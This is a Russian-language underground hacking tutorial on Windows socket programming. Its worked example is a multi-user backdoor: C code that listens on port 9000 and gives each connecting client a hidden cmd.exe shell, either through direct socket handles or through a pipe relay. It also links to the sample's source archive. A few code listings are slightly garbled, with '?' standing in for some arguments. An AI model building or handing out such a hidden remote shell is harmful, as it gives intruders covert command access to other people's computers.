#######################################################################
#									#
#			WinSock для начинающих				#
#									#
 #######################################################################

0х000
------ >  В статье рассматриваются азы написания сетевых приложений
	windows на сокетах. В качестве примера рассмотривается
	код простейшего многопользовательского бэкдора.

0x001
------ >  Прежде чем рассматривать создание сетевых приложений
	с использованием WINSOCKETS API, давайте сразу рассмотрим
	плюсы и минусы такого способа.

[ + ]	  Независимость от сторонних библиотек ( все что нужно уже  [ + ]
  |	находиться в операционной системе ( ОС ).		      |
  |								      |
  |	  Малый размер. Согласитесь это весомый плюс к любому	      |
  |	приложению.						      |
  |								      |
  |	  Легкая переносимость на другие языки.			      |
  |								      |
  |	  С помощью WINSOCKETS API можно создать любое		      |
  |	сетевое приложение. Сформировать любой ( RAW ) пакет.	      |
  |								      |
  |	  Приходит понимание функционирования сети и ОС'и в целом.    |
  | _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ |

[ - ]	  Будет трудно перейти, если до этого вы использовали	    [ - ]
	какие либо библиотеки ( компоненты ).

	   Сложность разработки приложения. Хотя при накопление
	определенного опыта этот минус исчезнет.

0x002
------ >  И так поехали. Нам потребуется заголовочный файл winsock2.h
	и lib-файл - ws2_32.lib. Перед началом использования любых
	функций из WINSOCKETS API необходимо вызвать функцию
	инициализации WSAStartup, передав ей в качестве первого
	параметра ( WORD ) номер версии и в качестве второго
	указатель на структуру WSADATA. После окончания работы
	с WINSOCKETS API необходимо вызвать WSACleanup, которая
	освободит все ресурсы занимаемые WINSOCKETS.

	   Для работы с сетью необходимо создать socket ( сокет, гнездо,
	соединитель и т. д. ). Это интерфейс взаимодействия с сетевыми
	протоколами. Сокеты ( windows ) бывают 2х видов: синхронные
	и асинхронные. Синхронные - задерживают управление на время
	операции ( прием/отправка данных ), а асинхронные наоборот
	( продолжают выполнение в фоновом режиме ). Так же,
	независимо от вида, сокеты делятся на 2 типа: потоковые и
	дейтаграмные. Потоковые работают с установкой соединения,
	обеспечивают целостность данных и позволяют идентифицировать
	всех участников соединения. Дейтеграмные работают с точностью
	наоборот, зато они заметно быстрее.

	   Создать сокет можно функциями WSASocket или socket.

	WSASocket ( int af, int type, int protocol,
		    LPWSAPROTOCOL_INFO lpProtocolInfo,
		    GROUP g, DWORD dwFlags )

	socket ( int af, int type, int protocol )
	
	   Параметр: af - семейство используемых протоколов
			( для Интернета это AF_INET ).

		   type - тип сокета, потоковый ( SOCK_STREAM ),
			дейтаграмный ( SOCK_DGRAM ) или
			так называемый "сырой" ( SOCK_RAW ).

	       protocol - тип транспортного протокола, IPPROTO_TCP
			для TCP, IPPROTO_UDP для UDP и
			IPPROTO_RAW для "сырых" сокетов.

	 lpProtocolInfo - указывает на структуру WSAPROTOCOL_INFO,
			содержащую информацию о протоколе, для
			которого создаётся сокет.

		      g - зарезервирован для использования в будущем.
			( будет использоваться для группы сокетов ).
			Поэтому должен быть равен NULL.

		dwFlags - определяет дополнительные возможности.
			Как правило используется для сокетов
			многоадресного вещания.

	   Как видите WSASocket дает гораздо больше возможностей чем
	socket. После создания сокета нам требуется заполнить структуру
	sockaddr.

	struct sockaddr_in {
	        		short   sin_family ;        // семейство протоколов
	        		u_short sin_port ;          // порт
	        		struct  in_addr sin_addr ;  // IP - адрес
	        		char    sin_zero[ 8 ] ;     // заполнитель
			   } ;

	sin_zero[ 8 ] - запас, чтоб можно было работать с другими сетями
		       ( адреса некоторых сетей для своего представления
		       требуют больше 4х байт ).

	   С учетом вышеизложенного у нас получиться примерно такой код:

    WSAStartup(MAKEWORD(2, 2), &wsaData) ;
    server = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0) ;
	
    localaddr.sin_family = AF_INET ;
    localaddr.sin_port = htons( 9000 ) ;
    localaddr.sin_addr.s_addr = htonl(INADDR_ANY) ;

	   Константа INADDR_ANY позволяет связать сокет сразу со всеми
	IP- адресами. htonl - преобразует константу в специальный сетевой
	порядок байт.

	   Для дальнейшей работы необходимо "привязать" сокет к его
	стандартному адресу функцией bind.

	int bind (	SOCKET s,
			const struct sockaddr FAR* name,
			int  namelen )

	   s - дескриптор созданного сокета.
	name - указатель на структуру sockaddr_in.
	namelen - размер sockaddr_in.

	   Далее переведем сокет в состояние "прослушивания"
	( ожидание подключений клиентов ). Это делается функцией
	listen.

	int listen ( SOCKET s,
		     int backlog )

	   s - дескриптор созданного сокета.
     backlog - максимальная длинна очереди соединений.

	   Принятие соединения может осуществляться 2мя
	функциями  accept и WSAAccept ( рассмотреть в качестве
	домашнего задания ).

	   accept (
		    SOCKET s,
		    struct sockaddr FAR * addr,
		    int FAR * addrlen
		  ) ;

	  Думаю здесь нечего описывать. В итоге получается
	нечто похожее на этот код:

	void main()
	{
		WSADATA	wsaData ;
		SOCKET	server, client ;
		struct	sockaddr_in localaddr, clientaddr ; 
		DWORD	hThread ; // понадобиться в дальнейшем
		int	clientSize ;	
	
	WSAStartup(MAKEWORD(2, 2), &wsaData) ;
	server = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0) ;
	
	localaddr.sin_family = AF_INET ;
	localaddr.sin_port = htons( 9000 ) ;
	localaddr.sin_addr.s_addr = htonl(INADDR_ANY) ;
	
	bind(server, (struct sockaddr *)&localaddr, sizeof(localaddr)) ;
	clientSize = sizeof(clientaddr) ;
	listen(server, SOMAXCONN);

	.....

 	closesocket(server);
	WSACleanup();
	ExitProcess(0);
	}

0х003
------ >  Здесь мы реализуем работу с клиентами и научимся перенаправлять
	ввод/вывод из консольных приложений.

	Для реализации многопользования я предлагаю следующий код.

	while(TRUE) 
	 {
	   client = accept(server, (struct sockaddr *)&clientaddr, &clientSize);
	   if (CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)start, &client, 0, &hThread) == NULL)
		{
		  closesocket( server ) ;
		  WSACleanup() ;
		  ExitProcess( 0 ) ;
		}
		CloseHandle(&hThread);
	 }

	  Для каждого подключившегося клиента, создается свой
	поток, где и происходит прием/передача данных. Если поток
	по каким-то причинам создать не удалось, то происходит:
	закрытие сокета, отчистка всех ресурсов и завершение работы
	процесса бэкдора.

	  После того как клиент подключился хорошо бы отправить
	ему какое-нибудь приветствие или отобразить меню. Посылка
	данных осуществляется функцией send, а прием recv. Флаги и
	параметры у них одинаковые.

	int send (
		   SOCKET s,
		   const char FAR * buf,
		   int len,
 		   int flags
		 ) ;

	buf - это данные для приема/отправки, а len - размер
	этих данных. flags - может принимать значения MSG_PEEK,
	MSG_OOB и MSG_DONTROUTE. Однако большинство источников
	рекомендуют воздержаться от использования этого параметра.
	
	   Теперь давайте посмотрим как нам осуществить
	перенаправление. Описание функций не касающихся темы
	я приводить не буду.

		clent = *( (SOCKET*) lpParam) ;
		ZeroMemory( &si, sizeof( si ) ) ;
		si.cb = sizeof( si ) ;
		si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW ;
		si.wShowWindow = SW_HIDE ; // Запуск в скрытом режиме
	
		si.hStdInput   = ( HANDLE* )clent ; // Перенаправляем ввод
		si.hStdOutput  = ( HANDLE* )clent ; //		     вывод
		si.hStdError   = ( HANDLE* )clent ; //		    ошибки
		ZeroMemory( ?, sizeof(pi) ) ;
		CreateProcess( NULL, "cmd", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, ? ) ;

		WaitForSingleObject( pi.hProcess, INFINITE ) ; // Ждём завершения работы
		CloseHandle( pi.hProcess ) ;
		CloseHandle( pi.hThread ) ;

	  Так же можно осуществить перенаправление при помощи пайпов
	( Pipe ). Однако их использование ( ИМХО ) нужно только если
	передаваемые данные требуется как-то преобразовать ( например
	зашифровать или вырезать/вставить информацию). Хотя может я и
	ошибаюсь. На всякий случай ниже приведен код перенаправления
	на пайпах.

	sa.lpSecurityDescriptor  = NULL ;
	sa.nLength	         = sizeof( SECURITY_ATTRIBUTES ) ;
	sa.bInheritHandle        = TRUE ; 

	if ( !CreatePipe( &cstdin,  &wstdin,  &sa, 0 ) ) return -1 ;
	if ( !CreatePipe( &rstdout, &cstdout, &sa, 0 ) ) return -1 ;

	GetStartupInfo( &si ) ;

	si.dwFlags	= STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW ;
	si.wShowWindow	= SW_HIDE ;
	si.hStdOutput	= cstdout ;
	si.hStdError	= cstdout ;
	si.hStdInput	= cstdin ;

	CreateProcess( NULL, "cmd", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, ? ) ;

	while ( GetExitCodeProcess(pi.hProcess,&fexit) && ( fexit == STILL_ACTIVE ) )
		{
		   if ( PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N )
		    {
			for (a = 0; a < total; a += MAX_BUF_SIZE)
		     {
			ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0);
			send(clent, buf, N, 0);
		     }
		    }
	
		   if ( !ioctlsocket(clent, FIONREAD , &N) && N )
		    {
			recv(clent, buf, 1, 0);
			if (*buf == '\x0A') WriteFile(wstdin, "\x0D", 1, &N, 0);
			WriteFile(wstdin, buf, 1, &N, 0);
		    }
		   Sleep(1);
		}

	  Здесь мы видим ещё одну WINSOCKETS API функцию - ioctlsocket.
	В основном её используют для управления режимом ввода/вывода
	и для получения сведений об ожидающем вводе/выводе.

	ioctlsocket (
		      SOCKET s,
		      long cmd,
		      u_long FAR * argp
		    ) ;

	  Параметр s - сокет который будет использоваться.
		 cmd - флаг для управления.
		argp - указатель на специфическую переменную.

	  Флагов у этой команды достаточно много, некоторые из-них
	предназначены для других ОС ( Windows СЕ ). Вот некоторые
	из них:

	      FIONBIO - включает/отключает неблокирующий режим.
	     FIONREAD - определяет размер данных, которые могут быть
			считаны в сокет в одном вызове функции.
       SIO_FIND_ROUTE - определяет, есть ли связь с заданным адресом.
 SO_SSL_GET_PROTOCOLS - определяет список протоколов, которые
			поставщик поддерживает на этом сокете.

	  Также в примере, для реализации многопользования вы
	встретите еще одну функцию.

	shutdown(
		SOCKET s,
		int how ) ;

	  Параметр s - как всегда - сокет.
		 how - как закрыть соединение. Принимает следующие значения:

		      D_RECEIVE - для закрытия соединения сервер => клиент.
		      SD_SEND - для закрытия соединения клиент => сервер.
		      SD_BOTH - для закрытия всех соединений.
		


0х003
------ >  Вроде бы всё... Напоследок несколько советов: 

	1 - помни, что ExitProcess не освобождает ресурсы занятые сокетом.
	2 - проверяй все данные присылаемые пользователем и корректно
	    выделяй память под них.

	  Если есть замечания, пожелания по поводу статьи всегда выслушаю.

	 Агромное спасибо UnW1n'у за помощь и за то, что заставил меня
	перейти на Си.

	P. S. Пример к статье можно взять здесь:
	/includes/Sample_Socket_SRC.rar

								  ."-------"--".
   ================================================================" by Izg0y "
								  ."----------".
CORU.in - Cult Of Russian Underground